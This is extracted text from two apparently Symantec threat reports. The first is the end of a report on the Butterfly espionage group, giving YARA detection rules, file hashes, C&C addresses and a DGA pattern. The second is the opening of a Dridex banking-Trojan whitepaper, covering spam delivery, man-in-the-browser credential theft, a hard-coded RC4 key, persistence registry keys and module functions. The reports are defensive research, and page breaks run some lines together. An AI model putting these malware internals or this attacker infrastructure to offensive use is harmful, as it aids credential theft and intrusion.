$str _ 2 = “--pleh : displays help”
$str _ 3 = “-x ip/host : proxy ip or host”
$str _4 = “-m : bypass mutex check”
condition:
all of them
}
rule jiripbot _ ascii _ str _ decrypt
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly Jiripbot hacktool”
strings:
$decrypt _ func = {
85 FF
75 03
33 C0
C3
8B C7
8D 50 01
8A 08
40
84 C9
75 F9
2B C2
53
8B D8
80 7C 3B FF ??
75 3E
83 3D ?? ?? ?? ?? 00
56
BE ?? ?? ?? ??
75 11
56
FF 15 ?? ?? ?? ??
C7 05 ?? ?? ?? ?? 01 00 00 00
56
FF 15 ?? ?? ?? ??
33 C0
85 DB
74 09
80 34 38 ??
40
3B C3
72 F7
56
FF 15 ?? ?? ?? ??
5EPage 27
Butterfly: Corporate spies out for financial gain
8B C7
5B
C3
}
condition:
$decrypt _ func
}
rule jiripbot _ unicode _ str _ decrypt
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly Jiripbot Unicode hacktool”
strings:
$decrypt = {
85 ??
75 03
33 C0
C3
8B ??
8D 50 02
66 8B 08
83 C0 02
66 85 C9
75 F5
2B C2
D1 F8
57
8B F8
B8 ?? ?? ?? ??
66 39 44 7E FE
75 43
83 3D ?? ?? ?? ?? 00
53
BB ?? ?? ?? ??
75 11
53
FF 15 ?? ?? ?? ??
C7 05 ?? ?? ?? ?? 01 00 00 00
53
FF 15 ?? ?? ?? ??
33 C0
85 FF
74 0E
B9 ?? 00 00 00
66 31 0C 46
40
3B C7
72 F2
53
FF 15 ?? ?? ?? ??
5B
8B C6
5F
C3
}
condition:
$decrypt
}Page 28
Butterfly: Corporate spies out for financial gain
File hashes
Many of the hashes listed in Table 2 are for clean files which are used by the Butterfly attackers. Do not use any
marked with “N/A” or “Clean” files in any automated detection system. They are provided merely as potential
indicators of compromise, not as definitively malicious files.
Any files that are marked as “N/A” were not retrievable by Symantec, but are believed to be used by the
attackers.
Table 2. File hashes of tools used by the Butterfly attackers, including filenames. (List includes clean files)
SHA-256 File name Description
2a8cb295f85f8d1d5aae7744899875ebb4e6c3ef74fbc5bfad6e7723c192c5cf winsession.dll Hacktool
da41d27070488316cbf9776e9468fae34f2e14651280e3ec1fb8524fda0873de bj.dat Hacktool.Bannerjack
796b1523573c889833f154aeb59532d2a9784e4747b25681a97ec00b9bb4fb19 bj.dat Hacktool.Bannerjack
c54f31f190b06649dff91f6b915273b88ee27a2f8e766d54ee4213671fc09f90 pc.dat Hacktool.Multipurpose
54a8afb10a0569785d4a530ff25b07320881c139e813e58cb5a621da85f8a9f5 pc.dat Hacktool.Multipurpose
2bd5f7e0382956a7c135cdeb96edfdbccfcfc1955d26e317e2328ea83ace7cee pc.dat Hacktool.Multipurpose
c83bb0330d69f6ad4c79d4a0ce1891e6f34091aecfeaf72cf80b2532268a0abc pc.dat Hacktool.Multipurpose
178b25ddca2bd5ea1b8c3432291d4d0b5b725e16961f5e4596fb9267a700fa2f PC.DAT Hacktool.Multipurpose
9bff19ca48b43b148ff95e054efc39882d868527cdd4f036389a6f11750adddc PC.DAT Hacktool.Multipurpose
e8591c1caa53dee10e1ef748386516c16ab2ae37d9555308284690ea38ddf0c5 clapi32.dll Clean Cygwin DLL
d15b8071994bad01226a06f2802cbfe86a5483803244de4e99b91f130535d972 Bda9.tmp. Backdoor.Jiripbot
0ac7b594aaae21b61af2f3aabdc5eda9b6811eca52dcbf4691c4ec6dfd2d5cd8 wlc.dat Hacktool.EventLog
b81484220a46c853dc996c19db9416493662d943b638915ed2b3a4a0471cc8d8 wlc.dat Hacktool.EventLog
49e4198c94b80483302e11c2e7d83e0ac2379f081ee3a3aa32d96d690729f2d6 wlc.dat Hacktool.EventLog
fcaab8f77e4c9ba922d825b837acfffc9f231c3abb21015369431afae679d644 wlc.dat Hacktool.EventLog
534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 a.exe Backdoor.Jiripbot
534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 FLASHUTIL.EXE Backdoor.Jiripbot
758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92 N/A Backdoor.Jiripbot
683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9 N/A Backdoor.Jiripbot
8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a N/A Backdoor.Jiripbot
14bfc2bf8a80a19ff2c1480f513c96b8e8adc89a8d75d7c0064f810f1a7a2e61 LiveUpdater.exe Backdoor.Jiripbot
c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0 LiveUpdater.exe Backdoor.Jiripbot
ccc851cbd600592f1ed2c2969a30b87f0bf29046cdfa1590d8f09cfe454608a5 LiveUpdater.exe Backdoor.Jiripbot
2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94 LiveUpdater.exe Backdoor.Jiripbot
6fb43afb191b09c7b62da7a5ddafdc1a9a4c46058fd376c045d69dd0a2ea71a6 LiveUpdater.exe Backdoor.Jiripbot
48c0bd55e1cf3f75e911ef66a9ccb9436c1571c982c5281d2d8bf00a99f0ee1a N/A Backdoor.Jiripbot
781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e FlashUtil.exe Backdoor.Jiripbot
1a9f679016e38d399ff33efcfe7dc6560ec658d964297dbe377ff7c68e0dfbaf LiveUpdater.exe Backdoor.Jiripbot
b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45 RtlUpd.exe Backdoor.Jiripbot
cafc745e41dbb1e985ac3b8d1ebbdbafc2fcff4ab09ae4c9ab4a22bebcc74e39 clapi32.dll Clean Cygwin DLL
25fe7dd1e2b19514346cb2b8b5e91ae110c6adb9df5a440b8e7bbc5e8bc74227 rtlupd.exe Backdoor.Jiripbot
8db5c2b645eee393d0f676fe457cd2cd3e4b144bbe86a61e4f4fd48d9de4aeae IASTOR32.EXE Hacktool.Securetunnel
9fab34fa2d31a56609b56874e1265969dbfa6c17d967cca5ecce0e0760670a60 iastor32.exe Hacktool.Securetunnel
bc177e879fd941911eb2ea404febffa2042310c632d9922205949155e9b35cb6 iastor32.exe Hacktool.Securetunnel
2d3ea11c5aea7e8a60cd4f530c1e234a2aa2df900d90122dd2fcf1fa9f47b935 IASTOR32.EXE Hacktool.Securetunnel
81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 iastor32.dat Hacktool.SecuretunnelPage 29
Butterfly: Corporate spies out for financial gain
81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 IASTOR32.EXE Hacktool.Securetunnel
7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nrouting.exe Hacktool.Securetunnel
7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nspool.exe Hacktool.Securetunnel
efbc082796df566261b07f51a325503231e5a7ce41617d3dfff3640b0be06162 updt.dat Hacktool.Securetunnel
cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 mspool.exe Hacktool.Securetunnel
cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 nspool.exe Hacktool.Securetunnel
a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c twunk_64.exe Hacktool.Securetunnel
a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c updater.dat Hacktool.Securetunnel
a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c UPDT.DAT Hacktool.Securetunnel
3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f pc.dat Hacktool.Securetunnel
3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f twunk_64.exe Hacktool.Securetunnel
90b5fec973d31cc149d0e2683872785fa61770deec6925006e9142374c315fde CP.DAT Hacktool.Proxy.A
1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 msvcse.exe Hacktool.Proxy.A
1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 proxynt2.exe Hacktool.Proxy.A
45f363e498312a34fa99af3c1cdd635fcebefaa3222dff348a9ab8ca25530797 cp.dat Hacktool.Proxy.A
b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 sh.exe Shred (Clean tool)
b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 shred.exe Shred (Clean tool)
1baac5d450fb5d6eb76731c7fb4af85ede2603b4fad8087e572e4818150edc3e kerberos32.dll N/A
c224006b7d307a8e46be174085cff789823ab2901095c56b4e90d582877ebafb nltest.exe N/A
c8e2029d6d4fa2cbd4d120c289938476b7943fdfa689709af64bd3f270156212 cudacrt.dll N/A
ece2d793bd809288d763e31036bc561bbc34452785eed64d39ef91e61f6ae741 nvcplex.dat N/A
cee20c8de212bcce2fa77ba85686d668e997265e3b6d69a1adac578972aaf88a kerberos32.dll N/A
dee31199fc026cea5824e3dd01f4e51801c3ffc7e313aef63862c41ddf422a6e cudacrt.dll N/A
48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa inst.dat N/A
48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa nvcplex.dat N/A
00a6d40ed77de5ff7c40449e58ab86b48d5318de0df9012aa459923a366ea6f6 INST.DAT N/A
2e5e14f12278294fbe71239e4b9002e74d961f6eb985229d5688fa809888baa7 RAS.DAT N/A
add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 nete.dat N/A
add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 NETE.EXE N/A
e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos32.DLL N/A
e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos64.dll N/A
2a959108855430fcd252a7ac87c5cbfc9aed9afd95af013ae4d1d395fb4c6980 ps.dat N/A
dfa52895a1093e3b5474107bd371b98242617e58dd30ba61977be6e6b57d869d nvcplex.dat N/A
d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f inst.dat N/A
d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f taskhost.exe N/A
e5d0169be787fcfbf9dabb766b7625802bbc46471d56730e446e6beba82aa581 cudacrt.dll N/A
0ecfea8f338eb616ee41bb302a81c2abe6759e32edc3c348b6e81589fefb5587 cudacrt.DLL N/A
37d9e8fc4dc389e121c76a53aa96b311da1beaecbc819095600dc2ee0c4f4eca plog.dat N/A
819694a6a4f6f48604ee769dc303852799cd473cbda946cbcd6ba82d20ced668 pc.dat N/A
88979438a208c873d5dd698eee3ca4c2c99b1d3828eabfe01e0cf593680d607d dp.dat N/A
fac197d47807c5d61ded7679c0f79084089085122b5cee70bfeb6547b840fd64 vaioupdter.exe N/A
36a73defccba5e53c955c75f4c2578e966cdfbad022d4384f7856a64c069b371 cudacrt.dll N/A
53c77ee898139b26143bba450cfdb8c6fe385562195530b30555b11fd63c9166 h2t.dat N/A
d652ed82d2f8e36156cbfeb7137765210e00a9e33c3827c4ef29d7e984a7d46a INST.DAT N/A
eda52dbcd0afa845ba9cc7460ba36b2b9cac10e9533ac1ca63ced449376b679d tasks.exe N/A
1677573bb02cc073e248e4a14334db90be8052d0b236e446e29582f50441fa33 N/A Back door
1c9af096e4c7daa440af136f2b1439089a827101098cfe25b8c19fc7321eaad9 N/A Back door
fd616d1298653119fb4fbd88c0d39b881181398d2011320dc9c8c698897848c4 N/A Back doorPage 30
Butterfly: Corporate spies out for financial gain
C&C server details
The following IP addresses were used for C&C traffic using SSH over port 443:
• 46.183.217.132
• 4 6.165.237.75
• 217.23.3.112
• 178.162.197.9
The following C&C servers were used by Backdoor.Jiripbot and OSX.Pintsized:
• ddosprotected.eu
• drfx.chickenkiller.com
The following C&C domains were used by Butterfly-related back doors. They were also used to host exploits over
HTTP:
• digitalinsight-ltd.com
• clust12-akmai.net
• jdk-update.com
• corp-aapl.com
• cloudprotect.eu
The following shows the format of Backdoor.Jiripbot’s DGA domains:
• jdk\.[a-f0-9]{32}\.org e.g. jdk.20e8ad99287f7fc244651237cbe8292a.org9d077a37b94bf69b94426041e5d5bf1fe56c482ca358191ca911ae041305f3ed N/A Back door
29906c51217d15b9bbbcc8130f64dabdb69bd32baa7999500c7a230c218e8b0a N/A Back door
3cfdd3cd1089c4152c0d4c7955210d489565f28fb0af9861b195db34e7ad2502 N/A Back door
4327ce696b5bce9e9b2a691b4e915796218c00998363c7602d8461dd0c1c8fbb N/A Back door
5ab4c378fd8b3254808d66c22bbaacc035874f1c9b4cee511b96458fedff64ed N/A Back door
fba34e970c6d22fe46b22d4b35f430c78f43a0f4debde3f7cbcddca9e4bb8bbb N/A N/A
11b42a5b944d968cbfdaac5075d195cc4c7e97ba4ff827b75a03c44a3b4c179a N/A N/A
6e62ee740e859842595281513dd7875d802a6d88bcbb7e21c1c5b173a9e2e196 N/A N/A
|
SECURITY RESPONSE
Even organizations who are well protected against the
group’s malware can often struggle to cope with the sheer volume of spam the attackers send. Dridex: Tidal waves of spam
pushing dangerous financial Trojan
Dick O’Brien
Version 1.0 – February 16, 2016Dridex: Tidal waves of spam pushing dangerous financial TrojanCONTENTS
OVERVIEW ..................................................................... 3
Key findings ................................................................... 5
Background ................................................................... 7
2015 takedown operation ....................................... 7
Prevalence .................................................................... 9
Victims ........................................................................ 10
Infection vector: Spam campaigns ............................. 12
Malicious attachments ................................................ 17
Dridex in action ........................................................... 20
Dridex: Technical analysis ........................................... 22
Loader module ...................................................... 22
Main module .......................................................... 22
VNC module ........................................................... 24
SOCKS module ...................................................... 24
mod4 module ........................................................ 25
mod6 module ........................................................ 25
Attribution ................................................................... 27
Protection .................................................................... 27
Mitigation strategies ................................................... 28The Dridex financial Trojan has emerged as one of the most serious online threats facing
consumers and businesses. The attackers operating the Dridex botnet have continually
refined the Trojan, which is now capable of harvesting banking credentials from customers
of approximately 300 banks and other financial institutions in over 40 countries.
Dridex’s operators are disciplined and highly active, pushing out in the malware through
massive spam campaigns that run to millions of emails per day. Even organizations who
are well protected against the group’s malware can often struggle to cope with the sheer volume of spam the attackers send.
Law enforcement operations against Dridex have led to some arrests but have had a limited
effect on the group’s overall activity. On the evidence of recent months, Dridex will continue to be one of the main financial threats during 2016.
OVERVIEWThese spam
campaigns operate on a massive scale.
During one
10-week period,
at least 145 spam campaigns were observed.
KEY FINDINGSPage 5
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Key findings
• The number of Dridex infections detected by Symantec increased during 2015. Between January and April,
there were less than 2,000 infections per month. Infection numbers spiked considerably in the following months, before dropping and stabilizing at a rate of 3,000 to 5,000 per month in the final quarter.
• Dridex is configured to attack the customers of selected banks and other financial institutions by stealing their credentials during online banking sessions. The malware can now target nearly 300 different organizations in over 40 regions.
• Dridex is heavily focused on financial institutions in wealthy, English-speaking nations, with the majority of targets located in these regions. The attackers also prioritize other European nations and a range of Asia-Pacific states.
• Dridex has been almost exclusively distributed through spam email campaigns. These spam campaigns operate on a massive scale. During one 10-week period, at least 145 spam campaigns were observed. The average number of emails blocked by Symantec per campaign was 271,019.
• Almost three quarters (74 percent) of Dridex spam campaigns used real company names in the sender address and frequently in the email text. Where real company names were used, the attackers usually used a top level domain in the sender address that matched the region of origin, e.g. “co.uk” in the case of UK companies.
• The vast majority of spam campaigns were disguised as financial emails, e.g. invoices, receipts, and orders. During the period analyzed, spam was heavily focused on English-speaking regions, with the majority of emails purporting to come from English-speaking senders.
• Dridex’s operators are quite professional in their approach, usually following a Monday-to-Friday working week and even taking time off for Christmas. The malware is continually refined and some degree of effort is applied to its spam campaigns in order to make them appear as authentic as possible.The attackers
using Dridex have moved away from self-propagation as an infection vector and the malware is now spread through massive spam campaigns.
BACKGROUNDPage 7
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Background
The original version of Dridex first appeared in 2012. Known as Cridex (detected by Symantec as W32.Cridex),
the malware added the infected computer to a botnet and stole banking credentials by intercepting online
banking sessions. The original Cridex acted as a worm and spread by copying itself to network drives and attached local storage devices, such as USB keys.
The current version, known as Dridex, first appeared in 2014. Like earlier versions, its primary function is to add
the victim’s computer to a botnet and harvest banking credentials using man-in-the-browser (MITB) attacks. The attackers using Dridex have moved away from self-propagation as an infection vector and the malware is now spread through massive spam campaigns. By 2015, it had become one of the most prevalent financial Trojans.
The Dridex botnet received a significant update in November 2014, when command and control (C&C)
communications were switched to a peer-to-peer (P2P) format. The move decentralized Dridex’s infrastructure and made the botnet more resilient to takedown operations. P2P communications made it more likely that the botnet would stay live should key pieces of infrastructure be taken offline.
In addition to this, Dridex is segregated into a number of subsidiary botnets, known as subnets. These subnets
are identified by three digit numbers, e.g. 120, 220 etc. It appears likely that different teams of attackers are operating each subnet.
2015 takedown operation
Dridex’s high level of activity has attracted the attention of police forces in a number of regions. In October 2015, an international law enforcement operation against the botnet saw one man charged alongside a
coordinated effort to sinkhole thousands of compromised computers, cutting them off from the botnet’s control. The operation involved the FBI in the US, the UK National Crime Agency and a number of other international agencies.
It appears this may have only been a partial success as Dridex continues to propagate, indicating many key
elements of the operation are still functioning. As illustrated in Figure 1, the operation had little impact on overall infection numbers.
Figure 1. Takedown operation during October 2015 had little impact on Dridex infectionsDridex was one of the
most active financial Trojan threats during 2015.
When compared with similar threat groups, it accounted for almost half of all infections in 2015.
PREVALENCEPage 9
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Prevalence
The number of Dridex
infections detected by Symantec increased during 2015. Between January and April there were less than 2,000 infections per month. Infection numbers spiked considerably in the following months, hitting almost 16,000 in June before dropping and stabilizing at a rate of 3,000 to 5,000 per month in the final quarter.
Dridex infections
were detected in a wide range of regions during 2015. While the largest infection numbers in 2015 occurred in Germany, this statistic was inflated by a wave of attacks from a group unrelated to Dridex, using a different variant of the original Cridex malware. The Dridex group itself has also been seen to attack Germany, albeit on a smaller scale.
English-speaking regions
including the US, UK, and Australia experienced high infection rates, which reflected the high number of banks in these nations that the attackers have configured the malware to attack and the number of English-language spam campaigns spreading the Dridex Trojan.
Dridex was one of the
most active financial Trojans during 2015. When compared with similar threat groups, it accounted for almost half of all infections in 2015. Of its peers, only Dyre (detected by Symantec as Infostealer.
Figure 2. Dridex infections detected during 2015
Figure 3. Dridex infections by region during 2015Page 10
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Dyre) came close in terms of
infection numbers.
Both Zeus (detected by
Symantec as Trojan.Zbot) and Ramnit (detected by Symantec as W32.Ramnit) have significantly higher infection numbers than Dridex, but it is difficult to make a direct comparison with Dridex and similar groups. Zeus has multiple variants, is operated by disparate groups and cannot really be regarded as a single attacker group. Ramnit was subject to a major takedown operation in February 2015 and does not appear to be actively in use. High infection numbers persist due to the virulent nature of some versions of the malware, which propagate by infecting files on the compromised computer and any attached drives.
Victims
Dridex is configured to attack the customers of selected banks and other financial institutions by stealing their credentials during online banking sessions. The malware has been configured to target the customers of nearly 300 different organizations in over 40 regions.
Dridex is heavily focused on
the customers of financial institutions in wealthy, English-speaking regions, with the majority of targeted organizations located in these places. The attackers also prioritize other European nations, along with a range of Asia-Pacific states.
Figure 4. Dridex infections in 2015 compared with similar financial Trojan threats
Figure 5. Number of organizations whose customers are targeted by Dridex, per regionThe attackers
behind Dridex regularly send millions of spam emails in the course of one day.
INFECTION VECTOR:SPAM CAMPAIGNSPage 12
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Infection vector: Spam campaigns
Since 2014, Dridex has
been almost exclusively distributed through spam email campaigns. These email campaigns are notable for their massive scale, frequency, and professionalism. The attackers behind Dridex regularly send millions of spam emails in the course of one day.
Analysis of 145 known
Dridex spam campaigns logged between November 1, 2015 and January 15, 2016 revealed a number of clear trends:
• Dridex spam campaigns operate on a massive scale. The average number of emails blocked by Symantec per
campaign was 271,019. The largest campaign seen by Symantec resulted in 982,832 emails being blocked.
• Almost three quarters (74 percent) of spam campaigns used real company names in the sender address and frequently in the email text.
• Where real company names were used, the attackers usually used a top level domain in the sender address that matched the region of origin, e.g. “co.uk” in the case of UK companies.
• Spam campaigns during the period analyzed were heavily focused on English-speaking regions, with the majority of emails purporting to come from English-speaking senders.
• The vast majority of spam campaigns were disguised as financial emails, e.g. invoices, receipts, and orders.
During the period analyzed, Dridex
mounted a consistent series of massive spam campaigns. The attackers operated on a Monday-to-Friday working week, with no spam campaigns detected on Saturdays or Sundays. They also ceased all activity between December 24, 2015 and January 6, 2016. The sole exception to this pattern was Wednesday November 25, when no spam campaigns were detected. The reason for this aberration is unknown.
On the weekdays when the attackers
were active, an average of three spam campaigns were launched per day. The lowest number of campaigns launched in a day was one and the highest number seen was eight in one day.
Figure 6. Number of known Dridex spam runs per day, November 1 2015 to January 15 2016
Figure 7. Proportion of Dridex spam campaigns using real company namesPage 13
Dridex: Tidal waves of spam pushing dangerous financial Trojan
The attackers behind
Dridex have gone to some lengths to make their spam emails appear more authentic. During the period analyzed, the majority of spam campaigns used real company names in the body text, subject line, and/or sender address.
Furthermore, when real
company names were used, the attackers frequently included top level domains in the sender address that matched the company’s region of origin, e.g. “co.uk” in the case of UK companies.
Despite generally having
good attention to detail, the attackers did make occasional mistakes. In some instances the sender address, subject line, and/or email body contained contradictory information, likely resulting from the attacker entering the wrong details into one or more fields of the email.
On occasion, attachments or malware payloads were malformed, meaning that the malicious attachment would
fail to install Dridex on the victim’s computer.
The vast majority of Dridex spam campaigns during the period analyzed involved emails disguised as some sort
of financial statement. Invoices were by far the most popular choice of subject, with a number of other financial themes being used on a less frequent basis.
Figure 8. Dridex spam email containing contradictory information about who the sender is. The sender address and signature mention TopSource, the subject line mentions British Gas, and the signature mentions Trinity Restaurants.
Figure 9. Most popular keywords seen in subject lines of Dridex spam campaignsPage 14
Dridex: Tidal waves of spam pushing dangerous financial Trojan
The fact that financial themes
are so heavily favored indicates that the attackers have had a high degree of success with this tactic. It is likely that some consumers are tricked into opening attachments over concerns that they have been charged for goods they didn’t order. In the case of businesses, employees in accounts departments are often used to receiving high volumes of emails from a diverse range of suppliers and customers. They may open one of these spam emails in the belief that it contains a legitimate document.
Aside from financial data, the
only other frequently observed theme involved emails purporting to contain scanned documents (usually claiming to be sent by a network-connected scanner) and emails claiming to have some form of message attached.
Figure 10. Example of Dridex-related spam email disguised as a financial document.
Figure 11. Dridex spam campaigns by target regionPage 15
Dridex: Tidal waves of spam pushing dangerous financial Trojan
During the six-week period analyzed,
Dridex spam campaigns appeared to be heavily focused on English-speaking regions. Half of all email campaigns were primarily directed at the UK, using emails that appeared to come from UK-based organizations. The other English-speaking regions targeted during this period included the US, Australia, and India (where English is the main language of business).
A small proportion of emails (six
percent) purported to come from large, English-speaking multinational companies, which could trick recipients in a range of different regions.
The non-English speaking regions
targeted during this period were Germany and France. Once again, a significant proportion of spam emails purported to come from real companies and the emails themselves were composed in German and French. The attackers occasionally made mistakes, such as spelling the German word Rechnung (Invoice) as “Rechung”.
Dridex activity is divided out
into several distinct botnets, known as “subnets”. Each is identified with a three-digit number. Of the spam campaigns where a subnet was identified, Subnet 220 was the most prolific during the period analyzed, as it was responsible for 40 percent of campaigns. Subnets 223 and 120 were also highly active during this period.
Figure 12. Dridex spam campaigns by botnet numberVirtually all
spam campaigns spreading Dridex do so using attached Word documents containing a malicious macro.
MALICIOUS ATTACHMENTSPage 17
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Malicious attachments
Most spam campaigns spreading Dridex do so using attached Word documents containing a malicious macro.
Symantec detects these malicious attachments as W97M.Downloader. If this macro is allowed to run, a
malicious .vbs file is dropped and executed. This file is detected as VBS.Downloader.Trojan. . This malicious .vbs
file will in turn download and install Dridex on the victim’s computer.
Figure 13. Dridex infections compared to W97M.Downloader infections by month during 2015
Figure 14. JS.Downloader infections detected during 2015Page 18
Dridex: Tidal waves of spam pushing dangerous financial Trojan
The number of W97M.Downloader infections increased during the second half of 2015. Following a surge in July,
infection numbers slipped back in subsequent months before another notable uptick during December.
The level of W97M.Downloader infections seen during 2015 greatly exceeds the numbers of Dridex infections
seen during the same period, with the latter averaging 5,400 infections a month. Two main factors account for this trend. In most cases, a downloader such as W97M.Downloader will be detected and deleted by antivirus software before it has a chance to install its payload onto a computer. Secondly, while Dridex is one of the main threats currently using W97M.Downloader, it is not the only one.
While the Dridex group has largely relied on malicious Word document attachments, in recent weeks it has been
observed to vary its tactics and, in some spam campaigns, use malicious JavaScript attachments (detected by
Symantec as JS.Downloader).
Interestingly, the number of JS.Downloader infections detected by Symantec jumped significantly during
December 2015.Dridex is capable
of injecting itself into the three most commonly used Windows web browsers every time they are opened and monitoring them for online banking sessions.
DRIDEX IN ACTIONPage 20
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Dridex in action
While the Dridex Trojan has a broad range of functions, it is mainly employed to steal the victim’s banking
credentials and add their computer to the Dridex botnet.
Credentials are stolen primarily through man-in-the-browser (MITB) attacks. Dridex is capable of injecting itself
into the three most commonly used Windows web browsers (Internet Explorer, Chrome, and Firefox) every time they are opened. The Trojan then monitors browser activity for online banking sessions. If the user logs into one of a configured list of almost 300 websites (mostly banks), Dridex will attempt to steal their credentials using a variety of methods, such as capturing data input into online forms, logging keystrokes, or taking screenshots.
Stolen data is transmitted back to attacker-controlled C&C servers using encrypted communications.
Figure 15. The Dridex infection process.Dridex has a number
of core modules, used to handle the main functionality of malware, in addition to a number of additional features.
DRIDEX: TECHNICAL ANALYSISPage 22
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Dridex: Technical analysis
Dridex has a modular architecture−it can download and install additional modules after initial infection. This
makes the Trojan relatively straightforward for its authors to add and refine its features. Dridex has a number of core modules that are used to handle its main functionality, in addition to a number of extra modules that provide additional features.
Loader module
The Loader module is responsible for downloading and installing the Main module. The Loader communicates through HTTPS and uses RC4 to encrypt XML messages which are exchanged with the control servers found in the embedded configuration.
The Loader module creates a registry key to act as a load point for the Main module.
The Loader also creates the registry key containing configuration information for the downloaded Main module.
The Loader exchanges RC4 encrypted XML messages over HTTPS with a C&C server. The Loader contains the
following hard-coded RC4 key:
• 560re2DobsPZGdq4yEbwKIpY9ZJqyvdHjRA
The Loader will request the
Main module binary and the Main module configuration from one of the servers in its embedded configuration.
Main module
The Main module is Table 1. Dridex Loader module information
File name 1111.exe
MD5 6f9ec4ffa07bcade346b04317dfb6f1c
SHA1 c4a5ad53737df1087f1bce594bd20554345ac335
SHA256 a497de7f2488f093aa74562695a2ce705cbddbd2c4a357f5c785f23ea7450f43
Size 324608
PE timestamp 2015-10-01 10:52:51
Purpose Loader – (install Main module and associated configuration)
Table 2. Load point registry key created by Loader module
Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name b5V9
Data rundll32.exe %AppData%\1.tmp [RANDOM LETTERS AND NUMBERS]
Table 3. Main module configuration registry key created by Loader module
Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\[GENERATED
CLSID]\ShellFolder
Name 0
Data [ENCRYPTED MAIN CONFIGURATION]
Table 4. Dridex Main component information
File name 1.tmp
MD5 5779e8f68f4d06fa3b6a73023ee7d552
SHA1 90842a7540df9b1c3cf9fbf0b0c751724ae81124
SHA256 cd1b462be0821eed24a97523206399b9e83266e6675a26a2b070edfe9dcd2b5a
Size 498152
Purpose Main – (backdoor/MITB attacks)Page 23
Dridex: Tidal waves of spam pushing dangerous financial Trojan
responsible for the majority of Dridex’s functionality. Network communication with peers and remote servers
uses HTTPS or raw TCP. The data sent over the network is XOR encrypted, uses asymmetric encryption, and is compressed using gzip. The Main module will create its own public and private key pair.
The Main module is injected into the explorer.exe process. The module will also inject itself into web browser
processes such as Firefox and Chrome to perform MITB attacks.
The Main module can perform the following core functions:
• Steal information from forms
• Take screenshots
• Redirect HTTP requests
• Inject code into web applications
• Log keystrokes
• Steal password
• Virtual network computing (VNC)
• Back connect
• Act as a mini server (peer node)
• Delete files
• Download other modules
• Steal cookies
The module performs these functions by sending and receiving commands, modules, and configuration
information over the P2P network. XML messages are used to communicate over the P2P network. The module uses RC4 to encrypt network traffic with a key generated at runtime using the CryptGenKey API. Earlier variants of Dridex used XOR instead of RC4 to encrypt network traffic.
Main module settings
The Main module is configured to perform man-in-the-browser attacks by a “settings” configuration, which is stored encrypted in the registry.
These contain
the method of data ex-filtration and properties associated with that method.Table 5. Dridex “settings” configuration’s high level elements
Basic element Purpose
Root Contains all following elements
Nodes Public nodes available for the bot to connect to
Settings Options and data for web injects
Commands Additional commands to be executed
Table 6. Dridex “settings” configuration method elements
Method Purpose
httpshots Take screenshots for the requested sites that match a URL regex
httpinjblock Block injections for the requested sites that match a URL regex
httpblock Block/allow access for the requested sites that match a URL regex
formgrabber Grab data from forms for the requested sites that match a URL regex
clickshots Take screenshots when clicking in a site that matches a URL regex. Useful
in case of a virtual keyboard input
redirects Redirections used for additional actions, usually used with httpinjects to fetch remote scripts. Modules VNC and SOCKS may also be used for that
action
smartcard Similar to redirects, URL patterns indicate possible smart card related
functionality
httpinjects Patters of HTML code to be searched and replaced for the requested sites that match a URL regex
httpcookiescut Related to cookie data fetch for the requested sites that match a URL regexPage 24
Dridex: Tidal waves of spam pushing dangerous financial Trojan
VNC module
The VNC module acts
as a virtual network computing (VNC) server. There is an x86 and x64 module available, both containing similar functionality.
The module provides a
graphical user interface (GUI) to remotely control the computer and contains two basic functions, starting and stopping the VNC server. The domain and port to connect to are passed as input arguments to the VncStartServer function.
